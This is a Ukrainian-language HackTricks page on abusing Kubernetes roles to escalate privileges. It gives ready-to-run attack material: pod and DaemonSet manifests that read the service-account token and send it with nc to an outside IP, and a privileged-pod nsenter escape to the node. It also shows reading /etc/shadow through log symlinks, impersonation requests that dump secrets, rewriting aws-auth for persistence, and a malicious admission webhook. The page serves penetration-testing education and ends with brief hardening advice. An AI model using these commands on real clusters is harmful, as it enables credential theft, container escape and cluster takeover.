Abusing Roles/ClusterRoles in Kubernetes

Підтримка HackTricks

Тут ви можете знайти деякі потенційно небезпечні конфігурації ролей та кластерів. Пам'ятайте, що ви можете отримати всі підтримувані ресурси за допомогою kubectl api-resources

Ескалація привілеїв

Це мистецтво отримання доступу до іншого принципала в кластері з іншими привілеями (в межах кластера kubernetes або до зовнішніх хмар), ніж ті, які ви вже маєте. У Kubernetes є в основному 4 основні техніки для ескалації привілеїв:

  • Можливість вдаватись в інших користувачів/групи/SA з кращими привілеями в межах кластера kubernetes або до зовнішніх хмар

  • Можливість створювати/покращувати/виконувати поди, де ви можете знайти або приєднати SA з кращими привілеями в межах кластера kubernetes або до зовнішніх хмар

  • Можливість читати секрети, оскільки токени SA зберігаються як секрети

  • Можливість втекти на вузол з контейнера, де ви можете вкрасти всі секрети контейнерів, що працюють на вузлі, облікові дані вузла та дозволи вузла в межах хмари, в якій він працює (якщо такі є)

  • П'ята техніка, яка заслуговує на згадку, - це можливість запускати port-forward в поді, оскільки ви можете отримати доступ до цікавих ресурсів у цьому поді.

Доступ до будь-якого ресурсу або дієслова (Wildcard)

Джокер (*) надає дозвіл на будь-який ресурс з будь-яким дієсловом. Його використовують адміністратори. Усередині ClusterRole це означає, що зловмисник може зловживати будь-яким простором імен у кластері.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Доступ до будь-якого ресурсу з певним дієсловом

У RBAC певні дозволи становлять значні ризики:

  1. create: Надає можливість створювати будь-який кластерний ресурс, що ризикує ескалацією привілеїв.

  2. list: Дозволяє перераховувати всі ресурси, потенційно витікаючи чутливі дані.

  3. get: Дозволяє доступ до секретів з облікових записів служб, що становить загрозу безпеці.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

Атакуючий, який має дозволи на створення пода, може прикріпити привілейований обліковий запис служби до пода та вкрасти токен для підробки облікового запису служби. Фактично підвищуючи привілеї до нього.

Приклад пода, який вкраде токен облікового запису служби bootstrap-signer і надішле його атакуючому:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod Create & Escape

Наступне вказує на всі привілеї, які може мати контейнер:

  • Привілейований доступ (вимкнення захистів і налаштування можливостей)

  • Вимкнення простору імен hostIPC та hostPid, що може допомогти підвищити привілеї

  • Вимкнення простору імен hostNetwork, що надає доступ для крадіжки привілеїв вузлів у хмарі та кращого доступу до мереж

  • Монтування хостів / всередині контейнера

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Створіть под з:

kubectl --token $token create -f mount_root.yaml

Однорядковий код з цього твітту та з деякими доповненнями:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Тепер, коли ви можете втекти до вузла, перевірте техніки пост-експлуатації в:

Стелс

Ви, напевно, хочете бути менш помітними, на наступних сторінках ви можете побачити, до чого ви зможете отримати доступ, якщо створите под, активувавши лише деякі з вказаних привілеїв у попередньому шаблоні:

  • Привілейований + hostPID

  • Тільки привілейований

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

Ви можете знайти приклад того, як створити/зловживати попередніми конфігураціями привілейованих подів у https://github.com/BishopFox/badPods

Створення пода - Перехід до хмари

Якщо ви можете створити под (і, за бажанням, обліковий запис служби), ви можете отримати привілеї в хмарному середовищі, призначивши хмарні ролі поду або обліковому запису служби і потім отримавши до нього доступ. Більше того, якщо ви можете створити под з простором імен мережі хоста, ви можете вкрасти IAM роль вузла екземпляра.

Для отримання додаткової інформації перегляньте:

Створення/оновлення розгортання, демонсетів, станів, контролерів реплікацій, реплікаційних наборів, завдань та крон-завдань

Можливо зловживати цими дозволами, щоб створити новий под і отримати привілеї, як у попередньому прикладі.

Наступний yaml створює демонсет і ексфільтрує токен SA всередині пода:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec - це ресурс у kubernetes, який використовується для виконання команд у оболонці всередині пода. Це дозволяє виконувати команди всередині контейнерів або отримати оболонку всередині.

Отже, можливо потрапити всередину пода і вкрасти токен SA, або зайти в привілейований под, втекти на вузол і вкрасти всі токени подів на вузлі та (зловживати) вузлом:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

Ця дозволяє перенаправити один локальний порт на один порт у вказаному поді. Це призначено для того, щоб легко налагоджувати програми, що працюють всередині пода, але зловмисник може зловживати цим, щоб отримати доступ до цікавих (наприклад, БД) або вразливих програм (веб?) всередині пода:

kubectl port-forward pod/mypod 5000:5000

Hosts Writable /var/log/ Escape

Як вказано в цьому дослідженні, якщо ви можете отримати доступ або створити под з підключеним каталогом /var/log/ на ньому, ви можете втекти з контейнера. Це в основному тому, що коли Kube-API намагається отримати логи контейнера (використовуючи kubectl logs <pod>), він запитує файл 0.log пода, використовуючи /logs/ кінцеву точку служби Kubelet. Служба Kubelet відкриває кінцеву точку /logs/, яка в основному відкриває файлову систему /var/log контейнера.

Отже, зловмисник з доступом на запис у папку /var/log/ контейнера може зловживати цією поведінкою 2 способами:

  • Модифікація файлу 0.log свого контейнера (зазвичай розташованого в /var/logs/pods/namespace_pod_uid/container/0.log) так, щоб він був символічним посиланням на /etc/shadow наприклад. Тоді ви зможете ексфільтрувати файл тіней хостів, виконавши:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Якщо зловмисник контролює будь-який принципал з дозволами на читання nodes/log, він може просто створити symlink у /host-mounted/var/log/sym на /, і коли він отримує доступ до https://<gateway>:10250/logs/sym/, він отримає список кореневої файлової системи хоста (зміна symlink може надати доступ до файлів).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Лабораторія та автоматизований експлойт можна знайти за адресою https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Обхід захисту readOnly

Якщо вам пощастить, і високо привілейована можливість CAP_SYS_ADMIN доступна, ви можете просто змонтувати папку з правами на запис:

mount -o rw,remount /hostlogs/

Обхід захисту hostPath readOnly

Як зазначено в цьому дослідженні, можливо обійти захист:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Який мав на меті запобігти втечам, подібним до попередніх, шляхом використання не hostPath монту, а PersistentVolume та PersistentVolumeClaim для монтування папки хоста в контейнер з правами на запис:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Імітація привілейованих облікових записів

З привілеєм імітації користувача зловмисник може імітувати привілейований обліковий запис.

Просто використовуйте параметр --as=<username> в команді kubectl, щоб імітувати користувача, або --as-group=<group>, щоб імітувати групу:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Або використовуйте REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Listing Secrets

Дозвіл на перегляд секретів може дозволити зловмиснику фактично прочитати секрети, отримуючи доступ до REST API кінцевої точки:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Читання секрету – брутфорсинг ID токенів

Хоча зловмисник, що має токен з правами на читання, потребує точну назву секрету для його використання, на відміну від ширшого привілею переліку секретів, все ще існують вразливості. За замовчуванням облікові записи служб у системі можуть бути перераховані, кожен з яких асоційований з секретом. Ці секрети мають структуру назви: статичний префікс, за яким слідує випадковий п'ятисимвольний алфавітно-цифровий токен (за винятком певних символів) відповідно до джерела коду.

Токен генерується з обмеженого набору з 27 символів (bcdfghjklmnpqrstvwxz2456789), а не з повного алфавітно-цифрового діапазону. Це обмеження зменшує загальну кількість можливих комбінацій до 14,348,907 (27^5). Відповідно, зловмисник може здійснити брутфорс-атаку, щоб вивести токен за кілька годин, що потенційно призведе до ескалації привілеїв шляхом доступу до чутливих облікових записів служб.

Запити на підписання сертифікатів

Якщо у вас є дієслова create в ресурсі certificatesigningrequests (або принаймні в certificatesigningrequests/nodeClient). Ви можете створити новий CeSR для нового вузла.

Згідно з документацією, можливо автоматично схвалити ці запити, тому в цьому випадку вам не потрібні додаткові дозволи. Якщо ні, вам потрібно буде мати можливість схвалити запит, що означає оновлення в certificatesigningrequests/approval та approve в signers з resourceName <signerNameDomain>/<signerNamePath> або <signerNameDomain>/*

Приклад ролі з усіма необхідними дозволами:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Отже, з новим затвердженим CSR вузла, ви можете зловживати спеціальними дозволами вузлів, щоб вкрасти секрети та підвищити привілеї.

У цьому пості та цьому конфігурація GKE K8s TLS Bootstrap налаштована з автоматичним підписанням, і це зловживається для генерації облікових даних нового вузла K8s, а потім ці облікові дані зловживаються для підвищення привілеїв шляхом крадіжки секретів. Якщо ви маєте згадані привілеї, ви могли б зробити те ж саме. Зверніть увагу, що перший приклад обминає помилку, яка заважає новому вузлу отримувати доступ до секретів всередині контейнерів, оскільки вузол може отримувати доступ лише до секретів контейнерів, змонтованих на ньому.

Спосіб обійти це - просто створити облікові дані вузла для імені вузла, де змонтовано контейнер з цікавими секретами (але просто перевірте, як це зробити в першому пості):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Принципали, які можуть змінювати configmaps в просторі імен kube-system на кластерах EKS (потрібно бути в AWS), можуть отримати привілеї адміністратора кластера, перезаписуючи aws-auth configmap. Необхідні дії - це update та patch, або create, якщо configmap не був створений:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Ви можете використовувати aws-auth для постійності, надаючи доступ користувачам з інших облікових записів.

Однак, aws --profile other_account eks update-kubeconfig --name <cluster-name> не працює з іншого облікового запису. Але насправді aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing працює, якщо ви введете ARN кластера замість просто назви. Щоб kubectl працював, просто переконайтеся, що ви налаштували kubeconfig жертви і в аргументах exec aws додайте --profile other_account_role, щоб kubectl використовував профіль іншого облікового запису для отримання токена та зв'язку з AWS.

Ескалація в GKE

Є 2 способи призначити K8s дозволи для GCP принципів. У будь-якому випадку принцип також потребує дозволу container.clusters.get, щоб мати можливість отримати облікові дані для доступу до кластера, або вам потрібно буде згенерувати свій власний файл конфігурації kubectl (перейдіть за наступним посиланням).

Коли ви спілкуєтеся з кінцевою точкою API K8s, токен автентифікації GCP буде надіслано. Потім GCP, через кінцеву точку API K8s, спочатку перевірить, чи має принцип (за електронною поштою) доступ всередині кластера, потім перевірить, чи має він будь-який доступ через GCP IAM. Якщо будь-який з цих пунктів істинний, він отримає відповідь. Якщо ні, буде надана помилка, що пропонує надати дозволи через GCP IAM.

Отже, перший метод - це використання GCP IAM, дозволи K8s мають свої еквівалентні дозволи GCP IAM, і якщо принцип має їх, він зможе їх використовувати.

Другий метод - це призначення дозволів K8s всередині кластера шляхом ідентифікації користувача за його електронною поштою (включаючи облікові записи служб GCP).

Створення токена serviceaccounts

Принципи, які можуть створювати TokenRequests (serviceaccounts/token) при спілкуванні з кінцевою точкою API K8s SAs (інформація з тут).

ephemeralcontainers

Принципи, які можуть оновлювати або патчити pods/ephemeralcontainers, можуть отримати виконання коду на інших подах, і потенційно вийти на свій вузол, додавши епhemeral контейнер з привілейованим securityContext.

ValidatingWebhookConfigurations або MutatingWebhookConfigurations

Принципи з будь-якими з дієслів create, update або patch над validatingwebhookconfigurations або mutatingwebhookconfigurations можуть бути здатні створити одну з таких webhookconfigurations, щоб мати можливість ескалації привілеїв.

Для прикладу mutatingwebhookconfigurations перегляньте цей розділ цього посту.

Ескалація

Як ви можете прочитати в наступному розділі: Вбудоване запобігання ескалації привілеїв, принцип не може оновлювати або створювати ролі чи кластерні ролі, не маючи самих цих нових дозволів. За винятком випадків, коли він має дієслово escalate над roles або clusterroles. Тоді він може оновлювати/створювати нові ролі, кластерні ролі з кращими дозволами, ніж ті, що у нього є.

Проксі вузлів

Принципи з доступом до підресурсу nodes/proxy можуть виконувати код на подах через API Kubelet (згідно з цим). Більше інформації про автентифікацію Kubelet на цій сторінці:

У вас є приклад того, як отримати RCE, спілкуючись з авторизованим Kubelet API тут.

Видалення подів + незаплановані вузли

Принципи, які можуть видаляти поди (delete дієслово над pods ресурсом), або виселяти поди (create дієслово над pods/eviction ресурсом), або змінювати статус пода (доступ до pods/status) і можуть зробити інші вузли незапланованими (доступ до nodes/status) або видаляти вузли (delete дієслово над nodes ресурсом) і мають контроль над подом, можуть вкрасти поди з інших вузлів, щоб вони були виконані на компрометованому вузлі, і зловмисник може вкрасти токени з цих подів.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Стан служб (CVE-2020-8554)

Принципали, які можуть модифікувати services/status, можуть встановити поле status.loadBalancer.ingress.ip, щоб експлуатувати неусунуту CVE-2020-8554 та запустити MiTM атаки проти кластера. Більшість заходів щодо пом'якшення CVE-2020-8554 лише запобігають ExternalIP службам (згідно з цим).

Стан вузлів і подів

Принципали з update або patch дозволами над nodes/status або pods/status можуть модифікувати мітки, щоб вплинути на обмеження планування.

Вбудоване запобігання ескалації привілеїв

Kubernetes має вбудований механізм для запобігання ескалації привілеїв.

Ця система забезпечує, що користувачі не можуть підвищити свої привілеї, модифікуючи ролі або прив'язки ролей. Виконання цього правила відбувається на рівні API, забезпечуючи захист навіть коли авторизатор RBAC неактивний.

Правило stipulates, що користувач може створювати або оновлювати роль лише якщо він має всі дозволи, які містить роль. Більше того, обсяг існуючих дозволів користувача повинен відповідати обсягу ролі, яку він намагається створити або модифікувати: або на рівні кластера для ClusterRoles, або обмежений тим же простором імен (або на рівні кластера) для Roles.

Існує виняток з попереднього правила. Якщо принципал має дію escalate над roles або clusterroles, він може підвищити привілеї ролей і кластерних ролей, навіть не маючи самих дозволів.

Отримати та модифікувати RoleBindings/ClusterRoleBindings

Очевидно, ця техніка працювала раніше, але згідно з моїми тестами, вона більше не працює з тієї ж причини, що й у попередньому розділі. Ви не можете створити/модифікувати прив'язку ролі, щоб надати собі або іншому SA якісь привілеї, якщо у вас їх вже немає.

Привілей створювати Rolebindings дозволяє користувачу прив'язувати ролі до облікового запису служби. Цей привілей може потенційно призвести до ескалації привілеїв, оскільки дозволяє користувачу прив'язувати адміністративні привілеї до скомпрометованого облікового запису служби.

Інші атаки

Додаток проксі-сайду

За замовчуванням у комунікації між подами немає жодного шифрування. Взаємна аутентифікація, двостороння, под до пода.

Створити додаток проксі-сайду

Створіть свій .yaml

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

Редагуйте свій .yaml і додайте розкоментовані рядки:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Перегляньте журнали проксі:

kubectl logs app -C proxy

Більше інформації за адресою: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Зловмисний Admission Controller

Admission controller перехоплює запити до API сервера Kubernetes перед збереженням об'єкта, але після того, як запит аутентифіковано та авторизовано.

Якщо зловмиснику вдасться впровадити Mutationg Admission Controller, він зможе модифікувати вже аутентифіковані запити. Це може дозволити потенційно підвищити привілеї, а зазвичай і зберігатися в кластері.

Приклад з https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Перевірте статус, щоб дізнатися, чи готовий він:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Тоді розгорніть новий под:

kubectl run nginx --image nginx
kubectl get po -w

Коли ви бачите помилку ErrImagePull, перевірте назву зображення за допомогою одного з запитів:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Як ви можете бачити на зображенні вище, ми намагалися запустити образ nginx, але в кінцевому підсумку виконаний образ - rewanthtammana/malicious-image. Що тільки що сталося!!?

Технічні деталі

Скрипт ./deploy.sh встановлює контролер доступу з мутацією вебхука, який модифікує запити до API Kubernetes відповідно до його конфігураційних рядків, впливаючи на спостережувані результати:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Вищенаведений фрагмент замінює перше зображення контейнера в кожному поді на rewanthtammana/malicious-image.

OPA Gatekeeper обхід

Найкращі практики

Вимкнення автоматичного монтування токенів облікових записів служби

  • Поди та облікові записи служби: За замовчуванням, поди монтують токен облікового запису служби. Для підвищення безпеки Kubernetes дозволяє вимкнути цю функцію автоматичного монтування.

  • Як застосувати: Встановіть automountServiceAccountToken: false у конфігурації облікових записів служби або подів, починаючи з версії Kubernetes 1.6.

Обмежене призначення користувачів у RoleBindings/ClusterRoleBindings

  • Селективне включення: Переконайтеся, що лише необхідні користувачі включені в RoleBindings або ClusterRoleBindings. Регулярно перевіряйте та видаляйте нерелевантних користувачів для підтримки високої безпеки.

Ролі, специфічні для простору імен, замість ролей на рівні кластера

  • Ролі проти ClusterRoles: Віддавайте перевагу використанню Roles і RoleBindings для дозволів, специфічних для простору імен, замість ClusterRoles і ClusterRoleBindings, які застосовуються на рівні кластера. Цей підхід забезпечує більш точний контроль і обмежує обсяг дозволів.

Використовуйте автоматизовані інструменти

Посилання

Підтримка HackTricks

Last updated